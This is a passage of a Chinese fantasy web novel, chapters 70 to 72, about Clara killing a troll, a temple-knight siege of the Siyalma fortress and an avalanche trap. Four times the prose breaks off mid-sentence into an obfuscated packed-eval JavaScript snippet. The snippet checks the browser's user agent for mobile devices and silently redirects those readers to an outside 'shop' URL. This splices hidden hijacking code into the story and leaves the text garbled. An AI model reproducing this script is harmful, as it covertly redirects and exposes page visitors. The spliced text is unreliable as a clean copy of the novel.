克劳拉最后回望了一眼昏迷的塔,毅然钻出洞口。 雪地里蜿蜒着塔的血迹,显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13038129|129069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然他认为自己已经杀死了所有巨魔,没有力气再清理痕迹。 那只没有死亡的巨魔迟早会顺着这些血迹找到山洞,届时她和塔就危险了,克劳拉可没有把握在怪物手里保护住自己和塔。 为此克劳拉不得不走出山洞,她想到了一个主意,或许能赌一把,也只能这么做。 头顶浩瀚星空,虽然身处黑夜,但眼前并非一片漆黑。 顺着血迹,克劳拉慢慢往前,脚下是几具狼尸,再远些就能看到堆叠的巨魔尸体。 一道壮硕的黑影半跪着哀嚎,它的怀里抱着另一具巨魔的身躯——塔不可能漏杀,这只巨魔恐怕是后来才到的。 黑影注意到了克劳拉,侧头望来,猩红的眼睛在黑夜里闪烁着。它慢慢站起身,很高,绝对有两个普通人那么高。 “嘿!大块头,来追我!”克劳拉转身就跑,愤怒的吼声在她身后响起,随后是颤栗的脚步声。 巨魔因为体型庞大,跑起来并不快,显得有些笨拙。 而克劳拉因为积雪的阻碍,好几次差点跌倒,或是被追砍到——都被她灵活地躲开。 引着巨魔逐渐远离山洞,她的目的地是白天塔捕鱼的区域。 因为恐惧与跑动,克劳拉额头与背后在寒冬中冒出一层细汗,寒风吹过,冷得她直哆嗦。但她不敢停下,只能一直向前跑。 再次矮身躲过巨魔的挥砍,克劳拉终于看到她白天因为等待塔堆的小雪人。 她加快脚步,绕过雪人后,迅速冲向冰面。 离两人捕鱼已经过去好几个小时了,湖面上又结上一层冰,克劳拉压低重心,确认冰面足够支撑她的重量后,用剑望岸上一助力,滑向湖中。 细微的冰裂声让克劳拉不自觉屏住呼吸,幸好她安全滑过。 半跪在冰面上,克劳拉边朝着岸边巨魔大喊,“来啊!”边慢慢往后退。 巨魔一脚踩碎雪人,它只觉得眼前的小虫子实在烦人,也很能跑,等它抓到了她,已经要将她大卸八块。 黑暗中巨魔看不清眼前的路,它咆哮着,大步冲向克劳拉。 冰面塌了一部分,巨魔脚下一空,但还没有落入水中,它一步一步继续往前。 克劳拉曾经在书上阅读过,水清则浅,水颜色越黑,意味着越水底越深——她白天正好看清这里是一片黑水。 冰面终于不堪重负,裂纹迅速扩散,下一瞬巨魔落入深不见底的水中,它挣扎着想要爬上冰面,但因为过大的体重和骨骼密度,又逐渐从冰面滑落。 同时,克劳拉举起破碎的冰块狠狠朝它砸过去,绝不让它有机会露头。 感觉过了整个世纪那么长,巨魔终于彻底沉入水中,等了一阵确认它没有再冒头。克劳拉长舒一口气,随即是一阵腿软,心脏差点蹦出胸口。 她用剑支撑着自己,谨慎绕开破裂的冰面朝着岸边走去。冷汗打湿了内衫,她默默裹紧斗篷。 回到岸上,见到已经被踩碎的雪人,克劳拉心塞了一会,后知后觉她意识到自己赌赢了,自己真的独自杀死了一只可怖的巨魔。 寒风吹得她一阵炫目,克劳拉慢慢走到湖边,黑色的湖水倒影不出星空,它像深渊一样,凝视着克劳拉。 回想到巨魔之前怀抱着同类,克劳拉想,巨魔也会有感情吗,那是它的家人? 她替沉入深渊的巨魔做了一次祷告,转身准备离开,塔还在山洞里—— 一只巨大的手骤然破水而出,死死抓住了她的小腿。 70. 第70章 “队长,后续支援没有抵达,西亚尔玛的魔女恐怕并没有离开。” “早说了,将克劳拉·德文希杀死哪还这么多事。” “你不懂,古斯塔一世是个疯子……谁也无法保证他儿子会不会像他一样疯。” 骑兵队长贾斯对属下的讨论不甚在意,他遥望着这座巨堡,神色晦暗。 教会命他们三天之内彻底拿下要塞,为了这次行动甚至不惜下重本,派出五千圣殿骑士,但如今真正抵达的只有不到三千,骑兵甚至才堪堪千名——传送阵被切断了。 索性大型攻城器具送达了一部分,对计划影响并不大。 “不用等后续兵力了,直接按照计划行事。”贾斯冷漠地下令,“切记不要伤害城中平民。” “嘁,这些庶民死了就死了,反正他们对教会意义不大。”新来的副队也是激进派的一员,按照计划将由他率领千名侍从攻打东门。 西亚尔玛要塞呈现星型,东南西北各有一个门,除次之外还有一道内门通往城中心。圣殿骑士原计划南门与西门各分一千,目的并非攻破,只是为了防止要塞内平民逃走。主力部队则攻下最难磕的北部。 如今人手不足,西边与南边只派遣了小部分骑兵。 “出发!” “呜——”号角吹响,装备精良的马匹齐步向前。 圣殿骑士这些天已经发动过几次小规模的骚扰战,一直没有正式进攻,北境骑士们猜测他们应该是在等待后续支援。 但在今天清晨,斥候观测到圣殿骑士有发动总攻击的趋势。敌人不仅装备精良,还拥有众多重型武器,骑士长心里也没底气一定能死守住这次总攻, “这次作战唯一目标是防守,死守要塞!绝不能让这些恶魔的爪牙进到要塞内部!为西亚尔玛而战!” “为西亚尔玛而战!”士兵们纷纷高举右手,震声怒吼,这里是他们的家园、他们的要塞,绝不能让入侵者破坏要塞的和平。 按照平日训练,士兵们很快各司其职。 城墙上弓箭手已经就位,部分士兵正检查守城投石机运作情况。一筐筐石块与冰锥运上城墙。 “玛格小姐,骑士长吩咐您不能上去城墙!”一位骑士在楼梯处阻拦了玛格丽特的步伐。 玛格丽特没有强求,转而询问:“城中教会那边有派人围守吧。” “当然!按照您的吩咐,教会成员都被关押在教堂里。” 得到肯定回答后,玛格丽特回到城堡里,爬上高高的瞭望台,这里可以俯视整个要塞与周围的情况。 西亚尔玛要塞是平原要塞,位于两条河交界处。春夏之时,这些河水就是天然的屏障,但在冬天,冻结的冰面反而为敌军提供了便利。 圣殿骑士团的步兵们推着炮弩与投石机在雪地里艰难前行,为了胜利,这些武器是必不可少的。 正午时分,贾斯下令停在了河面,准备布置攻击武器,此处正好在要塞投石机射程之外,之前他检查要塞时正好记住了投石机的型号——是教会早已淘汰的武器。 “火石准备,2点钟方向。” 燃烧的巨石像流星一般投入要塞内,并有意识地投掷到几个区域。 “骑士长,他们的投石机射程更远,炮弩也瞄准塔楼的士兵——我们必须要出城迎战!” “他们处在河面上,集中攻击冰面,够不到他们也无妨,将他们击沉!” 骑士长正辨认着敌军投掷石头的方向,一边是粮仓但在作战前已经转移仓库,一边是曾经投石机存放处也作出了调整,但另一块区域是—— “骑士长!马廊烧起来了……”士兵跑上城墙紧急向他汇报。 “怎么回事!”骑士长终于想起马廊堆放着大量草料,那群下贱的入侵者! “立刻救火!投石机不要停!” 火石击中马廊,马匹们受到惊吓连声嘶鸣,士兵们一边救火一边转移马匹。 不断有火石落下,即使没有正中士兵,落地时的冲击也让他们受伤严重。 玛格丽特心揪起,在敌方更精良装备面前,要塞显得毫无还手之力。 而东边的棱堡莫名沦陷,城门大开,百名骑兵长驱直入。内城门也迟迟不见关上——东边有内鬼。 怎么会这样!城中教会的人不是已经被围困了。遭了,若是东边被攻占,那北边的士兵们腹背受敌,玛格丽特心想。她立刻提起裙摆跑下楼,作为爱德华家的一员,她绝不可能坐以待毙! 骑兵副队进入要塞后,遭到了民兵们剧烈反抗。原本被要求不允许外出的领民们,手持着厨具亦或是农具与他们殊死搏斗。 即使突破了这群民兵,他们也跨不过内城口的绊马坑。副队低咒一声,命令骑兵们下马直接上城墙。他们穿着全副铠甲,手持弓弩铁剑,这些没有任何防护的平民对他们而言不过是砍柴一样简单。 但这些平民借助他们更熟悉环境,与少量精兵配合,时不时骚扰着圣殿骑士。 “下地狱去吧!”一桶又一桶的滚油泼向他们,即使铠甲足够严密,仍有油溅进了铠甲内部,尤其是面罩内。 部分骑士哀嚎着失去了战斗力,很快被不怕烫不怕死的平民压制,扒走他们的铠甲。 “这群疯子。”副队这时才觉得害怕起来,圣殿骑士所到之地何时经历过这种反抗,庶民们光是见到他们就恐惧得跪地不起,他原以为这座要塞的庶民也是如此。 他的下属掩护着他冲上城墙,弓弩无情地夺走了一部分庶民和士兵的生命,但仍然有不要命的一波波冲到他们面前,甚至有些穿戴上了他同伴的铠甲。 难怪教会一定要彻底杀死爱德华家,这座要塞里哪怕有教堂,人们的信仰也一直是爱德华家,真是一群恶心的异教徒! 副队怒火中烧,他率领少部分还活着的下属朝北方冲去,这座要塞他势在必得——成为他通向权力的踏脚石吧!爱德华家! 一双巨手死死抓住了克劳拉的左小腿,若非她反应及时,将剑插入雪地里稳住了身影,就要被拉入水中。 小腿传来剧痛,巨魔力气非常大,克劳拉感觉她的腿要被捏断了。她咬牙抽出剑猛地劈向这只手。 巨魔似乎感觉到了疼痛,稍微松了些力道,很快它另一只手臂也攀出,整个胸口以上破水而出,趴在岸上。 借着月光,克劳拉终于看清了巨魔的面容,丑陋的蓝色面容满是脓包与坑洼,它张大嘴露出尖锐的獠牙。 比安德鲁受过诅咒的面容恶心百倍,克劳拉双手握剑狠狠扎向它的右眼。 近距离感受巨魔的吼叫,震耳欲聋,克劳拉感觉到耳朵流出一股热流,她没心情管这些,用力搅动着手中的剑。 巨魔终于放开了她的小腿,试图去抓住她。克劳拉一脚蹬在它脸上借力拔出剑,忍着小腿的疼痛感,闪身躲过它的左手,又快速扎向它扶住地面的那只手。 她清楚绝不能让巨魔彻底爬上岸起身,届时她就不可能砍下巨魔的脖颈,将它杀死。 左手撑地,巨魔抬起受伤的右手猛地一挥,克劳拉被这股巨力打飞出去,砸到雪地里。她头晕目眩,仰躺在雪地缓了一阵,眼前发黑,幸好剑还牢牢握在她手里。 克劳拉勉强爬起来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13055125|129069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同时巨魔也在试图往岸上爬,但它脚下一滑,又重重摔在地面上。 它再次想要起身时,头部却感受到一股阻力,下一瞬冰冷的刀锋贴上了脖颈。 克劳拉用受伤的左腿踩住巨魔的头,双手握住剑,用尽全力想要砍下它的头,脚下的巨魔也没有引颈受戮,它左手紧紧抓住克劳拉的腰部,发力。 五脏六腑都在叫嚣着疼痛,仿佛要被挤出体外,但克劳拉没有松手,她一寸寸将刀锋砍进巨魔体内。 手僵得都快要握不住剑柄了,但因为全身上下都再巨痛无比,双手反正显得麻木无感了。 汗珠滴进眼睛里,眼前一片模糊,克劳拉已经分不清是汗还是泪,她心里只有一个念头,就是砍穿脚下的头颅。 终于,腰间的束缚一轻,克劳拉因为惯性摔倒在雪中,咳嗽着吐出几口血。 她挣扎几次都没能爬起来,最后只能用剑支撑自己半跪着,确认这只巨魔已经死透。 擦去眼泪与嘴角的血沫,在熹微的晨光中,她怔怔地看见一颗白珠从巨魔未受伤的左眼中滑落。巨魔未瞑目的眼睛死死盯着前方——那是它同伴死去的方位。 眼泪夺眶而出,克劳拉终于明白了白珠的由来——巨魔的眼泪,这种怪物居然也会有眼泪。 拾起白珠,她手上的血浸染上了这枚珠子,微光闪烁,一股暖意顺着手逐渐蔓延到她全身。 沉默着将白珠放入心口的袋中,她艰难地将巨魔的尸首推入湖中。随后再一次为巨魔做了祷告,只是这一次的心情与之前截然不同。 最终克劳拉拖着受伤的身体缓慢而坚定地离开。 对于侯爵的问题,她已经能够肯定了,能让士兵们百年如一日,每一代都坚定地奔赴战场的原因——是仇恨啊。 巨魔与人类的仇恨,远比女巫与教会之间来得更深更久,不死不休。 从出生至今,克劳拉还没受过这么严重的伤,幸好塔图腾之力耗尽,她可不想这些疼痛转移到塔身上。 她并未着急回到洞中,而是先来到了死去的巨魔群,已经有一层稀薄的雪掩盖在它们身上,几只狼正在啃食它们的尸体。 克劳拉以为又要战斗一番,但狼见到她后各个夹紧尾巴缩到一旁,十分畏惧的样子。 便懒得管这些狼,一瘸一拐找到那只巨魔——就当是白珠的报酬,她也替这只巨魔祷告了一番。 细碎的脚步声靠近,克劳拉睁开眼望去,方才那几只狼默默靠近她。见她横剑试图喝退它们,为首的那只黑狼往地上一躺,露出腰腹,用渴求的眼神盯着她,剩下的几只也纷纷低下头颅。 克劳拉:……你们看我像是狼王的样子吗? “走开!” 被她一呵斥,狼群跑开了一些,但仍躲在不远处,暗中观察她。 实在没有力气再驱赶它们,她叹口气。下一瞬她察觉到另一道观察她的目光,猛地回头。 不远处树枝上正站着一团雪绒鸟,正微歪着头观察她,喉间发出“咕咕”的叫声。 随着一声口哨,雪绒鸟展开双翼朝哨声来源飞去,来者不知是敌是友,克劳拉压低重心,摆出战斗的姿态。 “这些,是你杀死的吗?”女声并非从树林中传来,而是在身侧。 来人微微抵住克劳拉的右手,阻止了她挥剑,“我没有恶意,不用这么紧张。” 等看清克劳拉的脸后,她微愣,“克劳拉?” 她缓慢将护目镜推上去,一张熟悉又模糊的面容出现在克劳拉眼中。 克劳拉不可置信,她睁大眼,微张嘴,嗫嚅着:“母亲……” 71. 第71章 “阁下,巨魔不知为何聚集在那边,迟迟没有移动,即使我们的人过去引诱,它们也不见离开。” 斥候所说的地方位于一片山谷,将领们有些犹豫,不知该不该出击剿灭。 通常来说,由于巨魔吼叫声巨大,稍有不慎就会引发雪崩,他们会特意选定地形与巨魔作战,目的是为了防止雪崩造成士兵二次伤亡。 如今巨魔聚集的山谷正是雪崩频发地,将士们不知是否该立即发动攻击,还是等巨魔们离开。 侯爵与伊登对视一眼,明白这多半就是教会的陷阱,他们是踩进去,还是放弃这次行动。 “那边到底有什么?” “阁下!巨魔群里有两名巡山人!他们恐怕已经……”另一位斥候闯入头帐内,他神色焦急,恨不得立刻冲进巨魔堆里救人。 侯爵轻捏眉心,他没有询问为何会有巡山人在此地,明明冬日后领民不允许进入德林山脉。教会用他的领民做饵,在斥候面前残杀平民。若他下令等待,士兵们虽然会听令,但难免军心不稳。 此时一位队长也进到头帐里,请求与侯爵密语。得到允许后,他附耳将情报告知侯爵。 侯爵神色一凝,“什么时候,什么人传出的,人找到了吗?” “人找到了,说是不小心看到了伯爵阁下遗落的纸条。” “将人牢牢看守住!军中散播不实消息,等回到要塞按规律处理。” 队长领命做普通退出头帐。 伊登一怔,立刻明白了发生了什么,他没有解释,因为那张纸条是侯爵看完后亲手烧毁的。 “阁下,出什么事了?”两位阁下都面沉如水,将领们就算再迟钝,也知道发生了大事。 侯爵没有隐瞒,与其让内鬼弄得士兵人心惶惶,不如他亲口告知,“后勤部队出发当日,领地附近出现了大批圣殿骑士的踪迹。现在恐怕已经在进攻要塞了。” “他们怎么敢!那群下贱的猪猡!” 将领们目眦尽裂,怒骂着教会,一个个都恨不得立刻冲下山杀死圣殿骑士。 “冷静点,先遣部队的任务只有巨魔。”侯爵敲击桌面,示意将领们安静。 “可是!那帮狗日的,若是攻下要塞——” “里纳族答应出兵,她们离要塞更近,这会大概已经到达要塞了,现在的重点在于巨魔,这次作战的位置相当危险,我们需要万事小心……” 得知里纳族会前往要塞,将领们稍微将心放回了肚里,神色依然难掩愤怒,但还是认真参与到战术制定中。 侯爵预料到公开要塞被围困后,队伍里会有小规模的骚乱,但不多时就平复了。士兵们反而更加斗气昂扬,想要一鼓作气拿下巨魔并立刻赶回要塞。 不愧是北境之军,很快就能恢复秩序。散会后,伊登私下询问一位将领,为何不直接回撤要塞,之后再回雪山应对巨魔。 “巨魔行踪不定,错过这次,下一次又是在茫茫雪山里搜查,这要消耗多少人力物力?伯爵阁下平日里似乎很少管理堡中内务。” 将领目光如炬,看得伊登一阵心虚,他确实从不插手这些,哪怕克劳拉要求他不管也要了解,他也没有放在心上。 “军队管理并非只靠头领实力强大,您想要从侯爵手中拿回东边防线,但您心中已经有守住防线的把握了吗?” “还是说您仍然打算稳居城堡之中,将防线扔给托里曼人驻守?” 这到底是他人的内务,将领不打算过多插手,他还有其他任务要完成。徒留伊登一人留在原地思索。 下午时分一部分骑兵先行前往勘探地形,并确认巨魔的情况。不多时斥候再次回禀,巨魔仍在附近徘徊,没有大规模移动。 尽管众人都觉得奇怪,但此时是将巨魔一网打尽的好时机,哪怕有一定危险性。 在弗洛伦斯与所有后勤队员担忧的目光下,侯爵还是率领士兵们还是快速出击。 斥候已经找寻到了一处能够躲避雪崩的绝佳地点,至少真发生雪崩,大部队能够迅速转移到此处,减少伤亡。 这批巨魔数量更多,也更狂暴。以往锁子甲足够阻挡巨魔的骨刃,但这群巨魔力气之大,正面一击后锁子甲竟然直接断裂开来。 这场战斗一直持续到太阳沉没,血月当空。先遣队付出了比以往更惨痛的代价才彻底将它们彻底剿灭。 伊登砍下最后一个头颅,大口喘着粗气,白色的雾气在冷风中很快又消散。他左手臂的锁子甲完全崩裂,大臂处血肉模糊,因为寒冷血已经不再外渗——若非一位士兵替他砍下了那只巨魔的手臂,失去手臂就变成他了。 今晚没有一颗星辰,一汪血月悬挂在头顶,此时还存活的士兵们正打扫着战场,准备先行将重伤不能移动的战友们移走。 身体和精神上双重痛苦正折磨着这群士兵们,不幸中的万幸,并没有出现他们想象中的雪崩。 “雪崩了!雪崩了!” 在沉静地队伍中,这声惊叫显得十分突兀,士兵们心中早已有准备,“终于还是来了”。 准备按照计划退入躲避点时,大部分士兵蓦然升起一种难以言喻的恐惧,这种恐惧迅速向全身蔓延,他们僵直在原地无法动弹一步。 侯爵刚下令让士兵们放弃已死亡的同伴尸身,直接撤退,却发现他的士兵们纷纷瞳孔放大,呆立在原地。 还能活动的只有小部分人,他们试图拉动僵立在原地的战友们,却发现自己根本救不下那么多人。 月光下猩红的雪浪正极速逼近,一位将领终于挣脱了这种浑身僵直的状态,他跪倒在雪地里,声嘶力竭地请求侯爵先行离开。 “阁下!请您离开!” “阁下!不要管我们!求您了!” 伊登内心剧烈挣扎着,他不能死在这里,但他也不可能弃这并肩作战的士兵不顾。 到底发生了什么!为什么这么多士兵被困在原地,是黑巫师的手段吗,这简直防不胜防啊!教会为了逼死霍德华家,居然能做到这个地步。 侯爵同样没想到最终会走到这个地步,教会确实拿捏了他的死穴,这是他的士兵们,大部分都追随他十年以上。 但他是头领,他必须要作出正确的决策——回望近在咫尺的雪浪,与不远处的避风港,他坚定地抬手,“所有能动的士兵,立刻撤退,放弃战友们。” 被迫留在原地的剩下士兵们终于露出了欣慰的笑容,含泪目送着少部分战友艰难地离去。 伊登回首,雪浪带着吞天灭世的气势奔涌而下,在这铺天盖地的血色中,伫立在原地的士兵们显得十分渺小,像一粒灰尘。 人类在天灾面前毫无还手之力,但这绝不是天灾,而是别有用心的人祸。他相信所有离开的士兵会像他一样永远铭记这一天,将这份仇恨死死刻在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13078028|129069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑海里。 他身边的士兵不少别开脸,似乎不忍再看。但伊登没有避开,在这如雷鸣般的雪崩声中,他听到一阵歌声,莫名地他停下了脚步。 “那是什么——”他抬起手。 母亲?不对,这不是。 “你是谁?为什么认识我?”克劳拉一脸警惕,并没有因为眼前人与蒂斯萝丝十分相似就放松,相反她觉得是有人利用蒂斯萝丝的脸想要迷惑她。 “初次见面,我是赫利斯,蒂斯的妹妹。至于认识你,你一看就是巴特和她的孩子。”赫利斯提到姐姐时语气很温柔,但说起巴特有带着明显的厌恶。 以防克劳拉不相信,她一捋袖子,向克劳拉展现了她右臂上的图腾,“里纳族的图腾,你或许有印象?” 对于母亲的亲人,克劳拉并不知道该作出什么反应,所以她抿唇,放下手中的剑,用沉默应对眼前人。 赫利斯环视一圈满地巨魔,与不远处对她龇牙咧嘴的几只小狼,“这有维尔图的气息,不是你杀死的,但你怎么会受这么重的伤——不对,你怎么一个人在这里?” 她嘟囔着需要包扎,自顾自掏出腰包里的草药与绑带想替克劳拉疗伤。 “不止我一个人,同伴受伤了。”克劳拉确认她没有恶意,遥指了一下不远处的山洞。 几分钟后,赫利斯在山洞里替两位病患熬起了草药,她检查着塔的伤势,口里啧啧称奇,“早听说维尔图少主是百年来最强的那个,一个人杀死近三十个巨魔这也太可怕了点,难怪他们首领要将他赶走。” “他什么时候能醒?”克劳拉不关心这些,她只在乎塔图腾之力还能不能恢复。 “太奇怪了,按理他的图腾之力不至于完全耗尽,在他与巨魔战斗前就因为别的原因消耗了不少。即使是现在他的图腾之力也在莫名消散,像是在——” 赫利斯话音一顿,注意到了塔眉心的特殊图腾,她转头看向克劳拉,心下了然,没有继续往下说。 “像是在什么?” “不用担心,等你喝下这副汤药,睡一觉他就会醒。” “我不能睡,我还得立刻下山,要塞那边……” 赫利斯轻轻捏住克劳拉的脸颊,“这些都是大人的事,小孩子不要操心那么多,你现在只需要好好养伤。” 一双与克劳拉如出一辙的绿眼睛,带着温柔的笑意,弄得克劳拉眼眶发热,有些想念菲米娅、雪莉还有大家了。 但下一秒,一碗丑陋且难闻的汤药被递到她眼前,罪魁祸首满含期待地示意她趁热喝下。 克劳拉:…… “药水都是这样的哦,小孩子不可以挑食。” 克劳拉没喝过草药熬制的汤药,她捏着鼻子将这碗苦到极致的药一口气喝下去,换来了赫利斯的摸头。 想要喝水漱口时,却被告知水会冲淡药效不可以喝。口腔里还残留着难以言喻的感觉,克劳拉从此对任何药剂都敬谢不敏。 直到很久后,她喝到了安娜熬制的草药才知道并非每一种汤药都是难喝的,只是赫利斯有这种特殊的技巧,让任何汤药都变得难喝。 药剂很快发挥作用,困意袭来,赫利斯让克劳拉靠在她腿上,慢条斯理地替她梳理打结的发丝,嘴里轻轻哼唱着克劳拉未曾听过的摇篮曲。 对着这张脸,她恍惚间真的像在母亲怀里一样,在温暖中,她缓缓阖眼。 72. 第72章 玛格丽特穿戴上母亲使用过的铠甲,这副铠甲就像为她量身定制一般。 她一直想逃开这份命运,所以离开西亚尔玛前往王都求学,并执意要进入大学学习反而落到这种地步。到头来她还是穿上铠甲拿起剑,索性还不算迟。 这回没有任何骑士阻拦她,这副铠甲是一种命令也是一种请求——跟随我。 她要在城墙上拦下突围而来的圣殿骑兵小队。城墙其实很窄小,两个人并肩前行都会显得拥挤,所以当与敌人正面相对时,她举起了手中的剑,“杀死我,或是被我杀死。” 一个女人?副队嗤笑,“西亚尔玛的人都死光了吗,居然让个女人来阻拦我?你还是回去生孩子吧。” 回答他的是玛格丽特的正面一击,力气之大,他差点都没挡下来。 “希望你的话能像你的大脑组织一样少。”玛格丽特凌厉的剑法逼得副队不停后撤,他身后的圣殿骑士也不得不步步后退,但另一方又有士兵袭来。 副队意识到自己必须认真起来,他怒火中烧,一个女人,区区一个女人,怎么敢! 他挡开玛格丽特的剑,重新摆好姿势全力一挥。 但玛格丽特轻盈后撤,躲开了这一击,副队因为挥空反而差点将自己带倒在地,“躲什么!你就这点本事吗!” 他大力挥舞着手中的剑,只凭力气,完全没有章法可言,嘴里还不干不净地咒骂着。 他将玛格丽特的连连后撤,看作是对他的敬畏,“害怕了吗?现在跪下来求我我还可以放过你——” 趁他挥剑的空挡,玛格丽特终于抓住了机会,她左脚微微后撤,双手握剑,用剑面猛地拍击在敌人太阳穴的头甲处, “保持理智是骑士的基本素养,但很不幸并非每一位骑士都能做到。” 剧烈的嗡鸣响彻大脑,副队眼前发昏,逐渐看不清眼前之人的身影,他想要继续咒骂,但呕吐的欲望让他发不出任何声音。最终在下属的惊呼声中,他摇晃着摔下城墙,挣扎了几下后彻底失去动静。 “下一位。” 冷酷无情地声音在圣殿骑士们的耳边响起,又一位骑士失去理智冲向拦路之人,很快落得和副队同样的下场。 “下一位。” 这句话仿佛魔咒一般,剩余的骑士宁可转身和赶来士兵们搏斗,也不愿再前进一步。 不多时这支自东门而来的骑兵小队几乎全灭。在玛格丽特的吩咐下,东边的两道大门终于重新合上,叛徒也被擒到了玛格丽特面前。 但她只随意地看了一眼,三年里她很少与外人接触,并不清楚此人的身份,士兵告知她这是一位要塞里知名的绅士,读过书,在城中给有钱人的孩子教书。 又将前些日子他与弗洛伦斯以及克劳拉的恩怨一并告知。玛格丽特终于看了他一眼,“不思考真正的罪魁祸首,却将仇恨对准城内无辜的平民和士兵,看来读书并没有让你做到明事理。” “你懂什么?我失去的是我唯一的孩子!我千求万求,神明才赐给我的孩子……”叛徒杰克声嘶力竭。 “他们,同样是某人的孩子或是父母。”玛格丽特悲伤地俯视着小广场上永眠的士兵与平民。 既然内鬼已经找到,她率领着剩下的士兵支援北边。杰克被她留给了广场上愤怒的领民们。 圣殿骑士们又逼近了几分,虽然进入了投石机的射程,但因为大部分士兵急着救火救援,投石机处人手不足。巨石投出后又暴露了投石机的位置,火石很快朝着这一方向而来。 原以为北边将会是一场殊死的抗争,但登上城墙的玛格丽特,却看到大片的黑影奔涌而来。 “是援军!”骑士长肯定道,只有雪橇快速划过雪地时会扬起阵阵雪尘。 “可是祖父他们应该不可能这么快赶回来……” “是里纳人。” 嘹亮的嚎叫声在雪原回响,里纳族的雪犬即是运输的帮手又是战斗的伙伴,缰绳松开后,它们与战士们迫不及待扑向敌人。 玛格丽特眼睛一亮,她举剑高声道:“不要让我们的伙伴孤身作战!北境的勇士们开门迎战!” “可是要塞里的火……”骑士长犹豫了一瞬。 “交给我!”安娜就像她的女巫身份一样神秘莫测,她像是从天而降一样出现在要塞内部,“祈雨的法阵有些难画,不过这里水元素充足,应该没什么问题,你们放心的出击!” 她边说着众人听不懂的话,边在前坪上画起法阵,她已经不再是几个月前的她了! “那还等什么!打开城门!”玛格丽特骑上士兵牵来的高头大马,再次高高举起手中的剑。 城门在玛格丽特眼前缓缓升起,印着高山的旗帜在风中飞扬。 祖父,这次我不再害怕死亡了,也不会再逃避我该走的路了,她在心中轻声呢喃。 “将入侵者,驱逐出去!” “为西亚尔玛而战!” 再次睁开眼时,克劳拉对上一双熟悉的眼眸。她转了转头,发现自己靠在塔的怀中,塔用一种极具占有欲的姿势圈着她。 这让她有些不适应地动了下手臂,没等她多说什么,塔立刻松开了手。 克劳拉活动一下腿脚,小腿处已经感知不到疼痛。腰腹还隐隐阵痛,但已经不是最初那会,走一步都像在刀尖上跳舞的感觉了。 前座的赫利斯似有感应一般,微微侧过头,她肩膀上的雪绒鸟也转过头,“你醒了,再不醒这位少主就要掀翻我的雪橇了。” 塔眼眶一红,没有理会赫利斯的话,而是自责道:“是我没有保护好您,害您受这么重的伤。还疼吗?” “不是你的错,你已经做得很好了。”拍了拍塔的手臂,她撑起自己的身体,四处张望。赫利斯身边有一位里纳族的战士,正在驾驶雪橇,看来之前正是他在远处召唤雪绒鸟。 周围树木与空落落的房屋迅速闪过,山脉已经在她们身后,克劳拉问:“这是去哪?” “去西亚尔玛要塞。难得冯向我们求助,作为盟友,不帮他们一把怎么说得过去。” 冯是霍德华侯爵的名字,原来里纳族就是侯爵留的后手,只是克劳拉本以为侯爵与蒂斯萝丝相熟是因为巴特,看来并非如此。 和西亚尔玛拉雪橇的鹿不同,此时拉着雪橇的是一群似狼非狼的犬类——但某几只眼熟的家伙也混在其中。 赫利斯不用回头,也感觉到了克劳拉疑惑,“啊,它们非要跟着,就这么被赶走也太可怜了吧。” 好吧,跟着赫利斯总比缠着她好,克劳拉询问重点,“里纳族来了多少战士?” “总共来了三千,里纳只来了两千,但另一部分是维尔图的战士,少主的故人哦。” 赫利斯口中的维尔图恐怕是真正的维尔图族,将塔他们赶出部落的那一支。克劳拉侧头观察塔的反应。 塔对此丝毫不在意,他只是专注的盯着克劳拉空无一物的胸前,“白珠……” 啊,完蛋!她猜到塔知道白珠喂给他后多半会伤心,原本想隐瞒的。正好又获得了一枚新的,打算用新的伪装一下,结果忘记了。 克劳拉试图挽留一下,她立刻从袋里拿出珠子,“看!还在呢,只是我拆下来了。” “不是同一颗了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13091627|129069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 塔毫不留情拆穿了她,垂下眼,不知道在想些什么。 “不是我送的哦!是克劳拉自己得到的。再说你当时的情况,白珠简直救了你一命,不管怎么说,透支图腾之力实在是太鲁莽了。” 